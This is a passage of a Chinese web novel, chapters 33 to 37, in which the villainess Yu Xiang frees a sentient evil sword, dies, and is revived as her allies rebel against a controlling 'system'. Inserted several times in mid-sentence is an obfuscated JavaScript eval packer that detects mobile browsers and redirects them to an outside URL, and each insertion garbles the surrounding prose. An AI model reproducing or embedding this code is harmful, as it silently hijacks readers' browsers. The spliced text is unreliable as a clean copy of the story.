从他向她伸出手的那一刻起,他就没有打算要回家。 林深意最后还是被对她的愧疚和同情…… 毁掉了余生。 …… 虞香听林深意说了一天一夜。 她得知了他有一个妹妹,却不敢问他其他的家人。 事到如今,即便是虞香,她也不想从林深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861117|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意的口中得知他原来已经有了爱人。 不想再一次听他亲口承认一切都是攻略,他从来就没有爱过她。 所以,到了最后的最后,虞香问出的问题是她自己: “在那本叫《我在修真界当团宠》的小说里……我本来的结局、这个世界的结局,是什么样的?” 他脸色微变,显然是不想提及,于是搪塞她道:“虞香,那不重要。” 虞香:“但我想知道。” 他拗不过她的固执,于是只能说了。 “小说剧情发生崩坏……应该是从你强逼追风认主开始的。” “按照本来的剧情,你应该是无法重伤单清、明尘、谢远等人,然后在最后一战中……被众人合力杀死。” “在你死后,追风将会回到夏笙笙的手上,邪剑也将在故事的最后被男女主角合力重新封入大阵。” 虞香默了默,旋即微微笑了。 “确实这样是比较像样的结局。” 话音落下,抓住林深意因不忍心看她而低头的空隙,虞香没有丝毫留手,一个手刀落在了他的后颈。 而一见她打晕了林深意,不知道她想干什么的邪剑顿时坐不住了。 像是生怕自己的话来不及告诉她,邪剑的声音又急又赶。 “虞香……原来是我弄错了。” “林深意他是爱你的,他为了你,和我做了交易,把系统的信息泄露给了我,希望能让你、让这个世界摆脱系统的摆布。” “只要把我从大阵中解放出来,我就一定可以做到。” “到时候你不必死,林深意也可以留下来,你们会永远在一起,再也没有人可以分开你们。” “虞香,回来吧。” “回到我身边,帮帮我吧。” 看着近在咫尺的山门,虞香轻笑了下。 之后应道: “好的,我这就来了。” 33. 第 33 章 过去的两天一夜,他们一路躲着追兵,往救世门的方向赶。 虞香不知道林深意要去救世门做什么。 但她自己,确实有非回来不可的理由。 不过在踏入山门之前,虞香先是将视线收了回来。 对着空无一人的四下,她轻声问道: “不出来吗?” “你还想跟着我到什么时候?” 虞香本意是想逼出烛苍。 因为阴差阳错的血契关系,她一直能大约摸清烛苍的位置。 试剑大会之前,他与夏笙笙形影不离。 在剑宗发生变故的当日,他像只火烧屁股的猴子窜出去老远。 就当她本以为他即将一去不回头,再也不会回来的时候,他却悄悄兜了回来,一路嗅着她的气味,跟了上来。 她和林深意藏在山洞里的时候,他在不远处放哨。 等他们启程往救世门出发,他不但跟了上来,还在暗处声东击西,把收到风声追来的妖和修士骗得晕头转向。 虞香不懂林深意前来救世门的理由,正如她无法理解烛苍为什么要这么做。 她一直佯为不知,可眼下见着烛苍似乎也傻兮兮地要跟着她进去,于是才终于开口。 不过,在那只小狐狸忍不住跑出来之前,先是有一个人从山门后走了出来。 虞香抬眸望去。 只见对方正是她过去的大师兄…… 单清。 虞香不动,安静地看着对方逐步走近。 他在她的三丈外停下,然后叫了她一声: “……师妹。” 听到这声师妹,虞香很难不感到恍惚。 谢远早就不把她视作同门了。 倒是没想到过去与她关系也并不算好的单清,竟然还愿意叫她一声师妹。 他们昔日到底同门一场,虞香没有不应的理由,于是微愣过后,莞尔一笑道: “大师兄别来无恙了。” …… 一打照面,寒暄了两句后,四周忽然安静了下来。 见对方抿唇敛容,一板正经,倒是虞香主动先开了口:“大师兄在这里……是专程来等我回来的吗?” 结果他的表情更加严肃了。 “是师傅的吩咐。” “那恐怕还吩咐了其它?”虞香哈哈一笑,“总不能是让大师兄来给我接风洗尘。” 这下单清彻底说不出话了。 他不说,虞香反而能猜得出师傅究竟吩咐了他什么。 大概也就是些…… “严禁叛徒踏入救世门半步,若抗命不从,直接就地正法。” 虞香微微垂眸,再抬首时,背在身后的追风一同脱鞘而出。 “师兄若是说不出口,不如我们直接一决高下吧。” 大师兄的剑技虽不如谢远,但生死搏杀从来看得不止是剑技。 单清能成为下任救世门门主,除了他性格稳重的特点,实力也占了很大一部分的原因,总体来说……他会是个劲敌。 虞香脑海中千回百转的时候,那边的单清神情渐渐变得坚定了起来,似是终于下定了决心。 她理所当然地认为他接下来该出剑了。 不想,他却是突然问了一句: “天宗堂主是否为你所杀?” 虞香摇了摇头。 “我与他在当日的那一剑后便已两清,没有了杀他的理由。” “但我不杀伯仁,伯仁确实是因我而死。” 单清闻言依然绷着张脸,虞香也看不出来他到底信了没有,正思量着他心中在想什么,只听他又开始发问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861118|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你此番回来……是为了什么?” “这不能说。” “可会殃及他人?” “不会。” 空气安静了两秒。 然后只见单清忽然背过了身,仿佛从来没有遇见过她,没有和她说过一句话。 就连那声“过去吧”,都似乎是在对着空气说的。 虞香不禁恍惚。 单清问了她那么多,她本以为他会接着问谢远一事,再不然就是夏笙笙和不知道怎么落到了她手里的追风。 可他闭口不提,像是只看她摇头否认,便全然相信了她。 面对单清负手的背影,虞香在与他擦身而过时不禁低声道别了一句: “别过。” 他点了点头,没有出声。 虞香通过山门一路往后山走去,期间没有再遇到旁人。 师傅理应在救世门内。 但全知境高手的心思不可揣摩,他顺应天命,很少亲身出世去干预些什么,门内事务全都交予弟子去做。 夏笙笙则忙着照顾重伤的谢远,未必知道门内进了生人。 虞香这一路走得一帆风顺,直到迈入后山,肉眼已经能看得见封印了邪剑的大阵时,才遭到了真正的阻碍。 白衍机站在了那里。 正正隔在了她与阿邪的中间。 也不知道他是在那里站了多久,遥遥看着只觉得像一个雕塑,薄暮时分的雨打湿了他的衣衫,发尾不时掉下来一滴水。 虞香叫了他一声。 “师兄。” 他点头:“你来了。” 白衍机生性潇洒,素来最爱穿白。 今日却穿了一身玄色。 也不知道是心血来潮,还是心有所感…… 打算要亲手来为她送葬。 34. 第 34 章 镇压邪剑,是历代救世门弟子的不二使命。 上一任的守剑人是谢远。 自从试剑大会,他被虞香重伤,回到救世门后只剩下一口气吊命,这个职责便落到了白衍机的身上。 所以此时此刻,他才会出现在这里。 出现在虞香眼前。 犹如牢不可破的门神一样,牢牢地坚守着大阵。 不像是单清那么严肃沉重,白衍机轻快的语调让虞香仿佛一瞬梦回与他初见的时候。 “师妹,不能再靠近了。” 虞香的步伐不可免地凝滞了一瞬。 但也只是一瞬过后,她更加坚定不移地向着白衍机的方向走去。 仿佛她正走向的不止是眼前的白衍机,还有那段曾经与他共同经历过的曾经。 她想要回到过去。 回到第一次和最后一次与白衍机相遇的时候。 第一世的白衍机曾经对她说自己不应该,不应该一时心善救她,不应该带她回来。 他想要亲手纠正自己铸下的大错。 如今同样的场景,同样的抉择,前世他求而不得的愿望…… 终于要能实现了。 白衍机:“虞香,这是我的底线。” 白衍机:“若是跨出这一步,我们真的连师兄妹都做不成了。” 看着他用剑在跟前划出的一道泾渭分明的实线,虞香只是微微笑了。 “我有不得不过去的理由。” 白衍机摇了摇头:“那我也有绝不能让你过去的理由。” 见虞香不听劝告,执意向前,白衍机也开始变得无奈。 “师妹啊,那可是能毁灭天地的邪剑。” 虞香:“我知道,但我也想要救我的家人。” 于是白衍机的脑海中顿时冒出了林深意的脸庞。 他不由地短叹一声,没有再出声,入定了一般扶着伫在地上的剑柄巍然不动。 但虞香清楚,白衍机并未妥协,只要她跨过那条死线哪怕只有一毫厘,他都会不再顾忌昔日情面,拼上全力将她驱逐。 于是虞香微微俯身,脚跟后拉,开始以冲刺的姿态向正前方突进。 白衍机将她的所有动作收于眼中,却像是察觉不到似地没有动弹。 直到虞香的发丝…… 越界的瞬间。 他手中的剑快如一道闪电。 瞬间便把异物逐出界外! 虞香没有停下来。 她意不在与白衍机争胜负,不想与他打个你死我活,因而在发丝被削断之后,接着一个翻身继续向前疾驰。 而白衍机刚从她的视野中消失,她的下一脚突然踩空,像是坠入了异界,掉进了一个月明星稀的夜晚。 没有邪剑,没有救世门。 只有月明如水的清朗夜晚,微风徐徐的巍峨山巅。 这便是白衍机的剑。 无拘无束,快意风流。 他以剑意为樊,为她打造了一个专属于她的囚笼。 “师妹啊,打打杀杀多无趣。” “月明风清,不如陪师兄我喝一壶酒?” 虞香回首,望向坐没坐相站没站相的白衍机,笑问: “可是喝的奠酒?” 对方哈哈大笑。 “是啊,为我们过去的情谊干杯。” 一斛月白酒杯被他用剑尖托举,送到了她的跟前。 虞香从容接过,向他举杯:“干了。” 白衍机拿起同样酒杯,向她抬手。 “干了。” 甘冽的美酒从喉咙灼烧到胃。 当两盏酒杯先后摔落在地,响起咣当的稀碎声响,也是两把剑交锋于山巅之际。 刀光剑影,你来我往。 但就在他们看不到的地方,月光照在草木巨石的阴影中偷偷长出了邪祟,受阴气滋养,渐渐形成了邪恶的怪物。 当它们手手相连,形成了足以绞杀剑境的网,一道唯有虞香能听得见的声音在她脑海中响了起来。 它说: “久等了。” 霎时间,清风明月化作了一场空。 再一晃神,眼前只剩下救世门、后山、大阵、邪剑。 白衍机被劈头盖脸的邪祟绊住了手脚,他错愕地望向虞香的背影。 “……邪剑竟已认你为主?” 虞香没有应是或否。 她的眼睛里仿佛只看得见被封锁在大阵正中的邪剑,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861119|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心只想着要再触碰到它。 像是感应到了某种暗藏的危机,她不由自主地向它伸出了手。 然而下一秒,当白衍机的低喃顺着起剑掀起的风逸散之时,一阵剧痛从心口传来! 虞香低头垂眼,只见她心脏的位置突然出现了一个贯穿伤。 她下意识侧首,余光看到了因受邪祟纠缠而处在原地动弹不得的白衍机,他终究是举起了他的剑,刺入了自己的胸口。 这一刻,虞香心中没有太多的感伤,甚至不由自主地笑了出来。 毕竟她将欺命仙衣给了白衍机,就已预料到了会有今天。 她一直忘不掉的、白衍机在她濒危时刻伸出的那一双手。 如今…… 好像终于能够忘掉了。 “虞香——!!” 在邪剑的喊声中,因突如其来的剧痛而踉跄前扑的虞香,一手捂住心口一手扶地,把自己撑了起来。 呕出积聚在喉咙的淤血,她站起了身。 即便是跌跌撞撞地前进,她也始终在一点点地靠近邪剑。 其实虞香有时候也会想,邪剑不想她死,害怕她死,难道真的全是因为害怕失去了剑主,无法实现灭世的夙愿吗? 难道真的就没有一点……是因为对她有了感情,担心她,才会发出用那么恐惧的声音发出呐喊,不断地鼓励她,说不要她死吗? 事到如今,纠结这些事情已经没有了意义。 这是虞香最后的机会。 它是她在这世间唯一的家人。 她想要救它。 让它得到解脱。 虞香:“烛苍,帮帮我吧。” 只听“刷拉——!”一声,救世门的后山燃起了汹汹的妖火。 火焰烧光了所有虞香面前的阻碍,它干扰了白衍机,也烧毁了大阵。 唯独身为妖狐之主的虞香,在烈火之中游鱼得水、如虎添翼。 她在这世间最后留下了两句话。 一是对烛苍说的谢谢。 二是当手终于按在了邪剑剑柄,对她唯一的家人说的…… “阿邪。” “你自由了。” 邪剑降世。 天地间一片死寂。 35. 第 35 章 虞香初次和邪剑交谈,是她第一次被谢远打得落花流水的日子。 那时她好不容易治好了被天宗堂主打伤的伤势,又在白衍机的帮助下重新结成了道心。 重新开始修道才没有过了太久,便遇上了谢远。 一个照面就被他打掉了八颗牙齿。 当时别说嘴巴了,一张脸上全都是血。 好不容易拖着疲惫苦闷的身体回到小筑,刚躺下来,脑海中便响起了一道陌生的声音。 它说:“真惨。” 虞香霎时间想起来单清曾经对她说过的话。 “我们宗门本没有姓名。” “是因后山镇压了一柄曾经三番五次要毁灭世间的邪剑,才在修真界得名救世门。” 一提起邪剑,单清本就严肃凝重的神色更甚,他对她千叮咛万嘱咐道: “邪剑最擅长玩弄人心,它满嘴谎言,为达目的不择手段。” “虞香,即便有朝一日山穷水尽,你也绝对不可以——和它有任何的交集。” 面对单清的叮嘱,虞香是点头答应了,但她本就不是正派出身,不如他们那般嫉恶如仇。 因而面对突然出现的邪剑,她没有表现出正气凛然的姿态,全当作没有听见,接着一动不动地躺在榻上。 她想要安静休息,它却一直在她脑中哔哔叭叭: “你想不想报仇?我可以帮你。” “别说一个谢远了,只要你我携手同心,你想让谁死,就能让谁死!” “谋事在人,天遂人愿!总有一日,我们定能让谢远知道厉……” 虞香:“闭嘴。” 可她真就应该听单清的话,不该开口的。 单清替她请了医修,最快也要明日才到。 自从被谢远打没了那么多颗牙齿后,她就没再说过话,于是便忘了…… 没有牙齿,说话是会漏风的。 听到她那声全是风的“闭嘴”,一直在叽里呱啦的邪剑居然沉默了。 它要是直接消失不见那还好,可偏偏它让她听到了“噗噗”的闷响,那显然就是拼命在憋笑,但又实在忍不住放出了几口气出来。 虞香:“你想笑就笑。” 它也不再忍,“噗嗤”一声后就开始疯笑。 气得虞香半年都没有理它。 整整半年的时间,虞香对邪剑充耳不闻,但她却没有把它的存在告诉任何人。 这许是给了它策反成功的信心,看到了实现夙愿的希望,于是开始了对她长达二十年的纠缠。 哪哪都有它,到处全是它。 若非邪剑受大阵掣肘,不能每天在她脑子里哔哔叭叭,恐怕虞香真的会只身杀上后山,让它闭嘴。 如果说是什么时候她对邪剑的态度发生了转变…… 那应该就是在山洞闭关的十年间了。 她过去深通恶绝的“虞香虞香”,成为了她在昏天地暗的山洞里的唯一希望。 半年里总有一次,它会如约而至。 第十八个半年,她迎来的是一句中气十足的:“等你出关,我们就去干翻他们所有人!” 第十九个半年,她人已经不太清醒了,但为了等它那一声“虞香,加油!”,硬是生生又熬了过去。 最后一个半年,是最难熬的一个。 难到邪剑来了都不知道怎么安慰鼓励她。 它沉默了良久,终于在不得不离开的时候对她说道: “虞香,我们成为彼此的家人吧?” 其实虞香也知道,它不止她一个目标,它在外面也会用同样的方式对待那些人,甚至会说一模一样的话。 她知道自己应该听从单清的告诫,不该回应它的。 可如同鬼使神差一般。 她说了声…… “好。” 虞香在第二十个半年里,本该也是出不了关的。 但就是因为那一声好。 她终于打破迷阵,重见天日。 后来拔出邪剑那日,她问邪剑:“你可有名字?” 它明明有,却说没有。 于是虞香便道:“那我以后就叫你阿邪吧。” 事到如今,当回首过往,虞香好像也不在意邪剑是不是骗了她、一心只想着利用她了。 就算它不想她死,从来都是为了它自己。 即便从没有一刻,把她视作自己的家人。 那全都没有关系了。 虞香只记得在她最需要的时候,她的阿邪出现在了那里,唯独只有它留在了她的身边,宽慰了她千疮百孔的心。 记得那日在剑宗之上,它像个即将被抛弃的孩子,对她呜呜咽咽、委屈哭诉。 于是她有了一个新的念头。 不止是林深意。 她还想要解放她唯一的家人。 这是最后的机会。 她绝不能错过了。 便是在这样的想法之中,虞香用尽了最后的力气拔出了邪剑。 她再一次听到它朝气蓬勃的喊声。 “哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861120|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈哈!等没有了系统,没有了攻略者,从今往后这就是我们的天下了!” 也听到了它彷徨害怕的疑问。 “虞、虞香……?” “你在做什么???” 虞香没有马上应声。 她只是在想,既然阿邪背负的夙愿源自于它吞噬历代剑主对世间的愤恨、他们所有人的痛苦,那么只要她把那一份份沉重的感情转移到自己身上,它就一定能被解放。 所以,她对它说: “阿邪。” “你的宿命由我来背负,你的苦难换我来承受。” “等把这痛苦的一切全部忘记以后,你就去找一个能配得上你的主人,去寻回你天山神剑的威名。” 任是邪剑在虞香疯狂喊不,依旧阻止不了她前行的脚步。 她将历代邪剑剑主,包括她自己,赋予在它身上的所有的邪念和恶意,强行剥离后一口吞下。 她的脑海中开始回荡起过去每一任剑主的呐喊: “哈哈哈哈哈!我要杀光这世间的万物!” “为什么只有我一个人活得这么痛苦?为什么那些伤害我的人,可以过得那么幸福?” “为什么这样的世界还不毁灭?去死吧……去死吧!全都去死吧!!!” 虞香无所忌讳,接纳了所有。 直到曾经的天山神剑终于露出了纯粹的光辉,她露出了微笑。 “阿邪。” “你自由了。” 不同于白衍机剑里的清风明月,虞香的剑里只有荒草白骨。 即便是她拿着长祝,那依旧是一个荒寂虚无,一无所有的悲惨世界。 可是今日,似乎有一点点开始变得不同了。 当虞香将邪剑拿在手中,那个总是刮着腥风血雨的世间里竟然吹起了一丝干净的微风。 风声中的哀鸣渐渐再也听不到了。 云开见天,一束束天光从黑云的间隙中直射下来。 槁骨腐肉中长出了青青绿苗,极快地开出了花。 风一吹过,光尘漫天飞舞,柔软的花朵开满了山野,空气里四处散落着淡淡的余香。 虞香倒在了成片的山花之中,慢慢闭上了眼。 这一次阿邪已经没有了再骂她的道理。 因为他们所有人终于都能够从这个不断重复、挣脱不出的命运旋涡里…… 解脱了。 …… 【登场角色“虞香”确认死亡。】 【恭喜你已完成攻略任务。】 36. 第 36 章 接纳了邪剑的全部后,虞香的元神本该随着逐渐湮灭成灰烬的肉身一同消弭。 可也许是在最后的最后,她阴差阳错突破到了合一境,以至于元神没有泯灭,而是在死后不到一柱香的时间,落到了邪剑的手中。 虞香被它轰炸一般的质问声淹没了。 它好像在呵斥她怎么能又一次抛弃它,蛮不讲理地让它忘记她。 又似乎在怒问她只有它留下来,她却消失了的结局怎么能算是拯救。 它带着哭腔地在喊这才不是真正的家人,如果她真的把它视作家人,才不会残忍地用自己的牺牲去换它的自由,才不会舍得让它又变成一个人。 邪剑说了太多的话了。 虞香努力想要去听,却控制不住地被眼前的世界所吸引。 邪剑与她共享了感知。 此时此刻她的视野忽然变得无穷大,小到最细微的风吹草动,都逃不过她的眼睛。 虞香看到了在她死后的世界。 看到烛苍在她身边急得上跳下窜。 看到被她毫不留情一个手刀打晕的林深意疯冲到了救世门的后山。 白衍机拦不住他,于是只能眼睁睁地看着他跌跌撞撞地穿过一片狼藉的土地,去到了她的身边,满脸泪水地跪在地上,紧紧地握住了她的手,直到她彻底消散于天地间。 虞香依稀能感受到他掌心的温度。 林深意实现了承诺。 可是…… “为什么他没有能回去?” “明明已经完成了攻略任务,为什么……他还在这里?” 暴跳如雷直到现在的邪剑听到了她的声音。 它冷哼一声后平复了下来,用前所未有的凝重语气说道: “因为现在才是开始。” 于是虞香能看见了…… 她看见了林深意的系统界面。 【登场角色“虞香”确认死亡。】 【恭喜你已完成攻略任务。】 【你即将回到现实世界,请稍后。】 【……】 【转移失败】 【重新尝试转移中,请稍后。】 【……】 【转移失败】 【发生错误】 【请攻略……者,……发生严……错误,向主……系统报……错误。】 一如邪剑所说。 现在,才是他们的开始。 邪剑作为隶属于“男主系统部门”5号攻略世界的核心,它和身为攻略者的林深意…… 联手向主系统发起了冲击。 自那一刻起,虞香失去了和邪剑的联系。 …… 虞香不清楚邪剑和林深意在做什么。 但从他们泄漏出来的蛛丝马迹中,她得知了主系统、男主系统部门,所有不属于这个世界的存在。 察觉到主系统为了平息风波,正在试图让5号攻略世界强制进入下一个周期,发展出另一本小说,生成新的核心。 主系统抹平了她的死亡,造成了一切仿佛就此落幕的假象。 让所有人的生活开始步入正常的轨道。 大师兄与二师兄没有太大变化。 他们平日里不会相见,前者为宗门事务忙碌,后者继续逍遥四海,唯独会在每年的同一个日子聚首,在为她而立的衣冠冢前喝一壶酒。 师傅依旧大门不出,三师兄自试剑大会后一蹶不振,从修真界销声匿迹。 追风没有落到夏笙笙的手上。 它与长祝掉在了救世门后山的大阵中,成为了没有人可以拔出来的第二把、第三把剑。 烛苍没有成为夏笙笙的灵宠,他似乎是从死去的主人身上得到了启发,豪勇地只身杀回了妖界,誓要重新夺回妖王的宝座。 夏笙笙没有和明尘走到一起,她找到了自己的本命剑,成为了修真界的新星,却比虞香得知的那个她更要稳重,致力于救死扶伤,维护三界的和平。 至于明尘,他依旧是个剑痴。 每当回想起惊艳了他整个人生的两次对剑,总会忍不住说道: “可惜,可惜。” 他们每个人都回到了各自的生活。 唯独虞香眼中的一人一剑,依旧保持着她死那日的姿态,在同样的位置,日复一日地向主系统发起冲击。 试图去改变她死亡的结果。 得到一个能被称得上圆满的结局。 其实事到如今,虞香已经能够坦率地迎接消亡了,但直到最后,她都没有开口,只是安静地等待结果。 因为对于为了她如此拼命努力的他们,她实在是说不出一声…… “算了吧。” …… 日升月落,兔起乌沉。 虞香终于在她死后第九十七个年头的某一天中,见证了这场斗争的结果。 邪剑终于再出现在了她的眼前。 “我们成功了!” “虞香,你可以活下去了,跟着林深意去他的世界了!” 听到它的话,虞香没有表现出同样的欢欣雀跃,她甚至在愣了一下后,问它: “我不能留在这里吗?” 邪剑也跟着有点反应不过来:“即便是合一境的修士,元神能在人间停留也不过最多百年。” 她回了声知道。 邪剑:“你在逃避什么?” 虞香沉默了。 “你自己去跟他说吧。” 没好气的话音一落,虞香发现自己眼前的画面突然一变。 她看到明月当空,月华如水。 远方湖光山色,近处长案金瓯。 虞香恍然。 这是陆寻离开她、回到故乡的那一个夜晚。 当发现到自己突然有了身体,虞香不由地伸出双手,一片火红的凤凰花飘落在了她的掌心。 与此同时,身后忽然传来一声轻唤: “虞香。” 她下意识回首。 飞起的长发落下后,林深意出现在了她的眼前。 他有笑容清朗,一腔诗情画意,风月无边。 他问她:“为什么不想跟我离开这里?” 虞香沉默地看着林深意一步一步向她走来。 直到他来到了最近的地方,与她只一个长案之隔,她才终于慢慢开口了。 “林深意,你分清爱、愧疚和责任吗?” “你在你的时代有你自己的生活,完整的人生。” “我不想成为你的负累,不想联系我们之间的关系只是愧疚和责任。” “那样会让我觉得爱着你的自己……很悲惨。” 直到听到她这么说,林深意才忽然意识到自己从来都没有告诉过虞香,他对她的感情。 不是从陆寻的口中。 而是以林深意的身份告诉她…… 他爱她。 …… 她像是害怕他为了劝说而撒谎,于是抢在他出声之前,再一次开口了。 “……即使你说你能分得清这三者之间的区别,说你是爱我的,我也无法确信。” “如果是我爱上了你,那么我可以说是爱你对我的温柔,你的坦诚和坚定,你对我所有的好。” “可是你呢?” 她混乱的神色中多了几分茫然。 “你会……你又能爱上我的什么呢?” 此刻出现在林深意跟前的虞香,她眼中的那个自己不值一提。 但这不能完全怪她。 林深意曾经在系统那里读过《我在修真界当团宠》这本小说的全文,所以他很清楚,为了制造出一个反派,整个小说世界是怎么对她进行了打压。 那不是一般人可以承受的痛苦和折磨。 可是她坚持了下来,比任何人都要顽强、坚韧地活到了现在。 林深意:“我爱你的矢志不屈。” 虞香因他突如其来的告白而反射性地说了声:“……什么?” 当她望过去时,看到的是他温柔眼眸,耳边响起的是字字铿锵情深。 “你从来不会被任何人,任何磨难所打败,每一次你咬牙向前的样子都会打动我。” 虞香下意识错开了和他撞在一起的视线,否定了他的感情:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861121|176029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那只是感动。” 林深意不慌不忙,继续慢声说道:“我爱你一旦下定决心就不会再犹疑彷徨的果断,有恩报恩有仇报仇的豪气慨然。” 虞香反应过来他是在说她与她的三位师兄。 她咬了咬牙,继续反驳: “那是不顾同门情谊,心胸狭隘。” “只是恰好对你胃口。” 林深意挑眉:“那你成为追风剑主,力战谢远,让我与明尘都心生倾慕,该怎么说?” “我平白无故多得了一世,占了便宜。” “那只是向往。” 林深意:“虞香,你救了我。难道我不能爱上一个舍身救我的人吗?” 虞香顿时哑然。 很快她矢口否认: “……那并不是爱。” 林深意:“好,往事都暂且不提。只在这当下,哪怕你百般推开我,我依然在祈盼往后的每一个日夜能与你朝夕相伴、同生共死。” “仅仅是看着你,我便会感到充实,觉得心终于被填满了。惟愿时间永远停留在这一刻,你与我都永不会老去。” “虞香,过去的这么多年里,你是支撑我最大的动力。” 见她转开目光,唇线紧抿,缄默不言,林深意轻笑了下,接着乘胜追击: “我骗了你自然就会有愧疚,责任感同样使然。” “哪怕你日后问我一万遍,我也不可能对你无愧于心的。” 谈及这里的时候,林深意的声色趋向沉重。 他不是不想用云淡风轻的口吻提起,但那终究是不能被随意放下的过往。 “从万剑秘境开始,我就已经放弃了攻略。” “我希望你能好好生活下去,与一个值得的人相爱,才会说出从来没有爱过你,回到现实后从来没有想过你的谎言,想着你会就此厌恶我、痛恨我,最后忘了我。” “现在好不容易创造出了机会,我想和你一起抓住那个未来。” 当林深意的余光看到天上的凤凰花加速掉落,他意识到剩下的时间并不多了。 刚想继续劝说,却发现她也正在仰望夜空。 虞香:“如果我们离开这里,去到你的世界……阿邪会怎么样?” “它会短暂地进入休眠,然后跟受到我们冲击的其它攻略世界一起,向主系统发起抗争。” “虞香,我们所有人最后一定都会自由的。” “摆脱系统和攻略,挣脱注定的命运线,去得到不被左右的崭新人生。” “一个真真正正的,所有人都能圆满的大结局。” 林深意口中的结局也许才是邪剑所说的救赎。 而不是依靠她一个人的牺牲,去成全所有的人。 如果……只是说如果,真的有那样的未来。 虞香愿意为了自己,为了她的家人们,再去勇敢一次。 所以,她紧紧抓住了林深意和邪剑向她伸出来的手。 一如那些年月澹长空,凤凰木下。 她走向他的一次次。 …… 【错误报告】 【5号攻略世界登场角色“虞香”命运线发生巨大变动。】 【错误报告】 【因不明原因,5号攻略世界登场角色“虞香”档案文件已消失。】 【失去对登场角色“虞香”的控制。】 【登场角色“虞香”已脱离小说《我在修真界当团宠》影响范围。】 【登场角色“虞香”已从攻略列表删除。】 …… 【错误报告】 【5号攻略世界已主动进入休眠期,关闭对外通道。】 【错误报告】 【受5号攻略世界冲击影响,69号攻略世界正在被强制开启。】 【错误报告】 【69号攻略世界登场角色“程鸢”觉醒了新能力。】 【新能力测定为:读心术】 【错误报告】 【由于遭到了5号攻略世界的攻击,以上所有错误报告均被拦截。】 【通信中断】 37. 第 37 章 程鸢是修真界三大仙门之一,灵无宗宗主的长女。 所有人都说她天生命好。 父亲是大宗之主,地位崇高,誉满天下。 母亲同是修真界大乘,当年一曲金戈乱退妖无数,名扬四海。 上有长兄爱护,继承家业,下有同门关怀,一路风调雨顺。 生来便有仙骨,不必像凡人为悟道汲汲营营数十年,方才能够踏入修真界,开始修炼。 每日吃喝玩乐,即便天天在道堂里睡觉,武堂内从不见她人,也轻轻松松跨过了下九流第四重境,抵了别人几十年的苦修。 所有人都说她天生命好。 但只有程鸢自己知道—— 这好命是她自己努力挣回来的。 “语笑,师伯们到了。” 见长兄叶辞怊笑着向自己招手,程鸢步伐轻盈地走了过去,抬手作揖。 “感谢诸位师叔师伯山长水远来到语笑的诞辰宴,语笑不甚荣幸。” 今天—— 不是程鸢的生日。 …… 十年前的今天,程鸢尚是在凡人界流离失所的小乞丐,不是灵无宗宗主的长女。 父母在幼年因病双双早逝,家财被豺狼虎豹一抢而空,不过髫年便过上了颠沛流离的生活。 但她确实是要比旁人要幸运很多的。 因为…… 她能听得见别人的心声。 【这小女娃长得俏,反正是乞丐,突然不见了也不会被人发现,不如卖给人牙子换点酒钱……】 看到跟前笑得一脸憨厚的中年男人嘴巴没动,耳朵里却传来他的声音,程鸢知晓,这是他的心在说话了。 她从兜里抓了把石灰恶狠狠洒向对方的脸,接着扭头就跑。 读心术的本领帮助程鸢逃过了很多次劫难。 也彻底改变了她漂泊的命运。 那一天她在街边讨饭,改变命运的声音就这么飘进了她的耳朵里。 【魔尊欺人太甚!十年后绝不能就这么把笑笑送到魔都!】 【得找个孩子代替笑笑……】 【但得去哪里找呢……年龄样貌都是小事,得生来便有仙骨,这样的孩子放眼整个修真界都是凤毛麟角,何况是凡人界……】 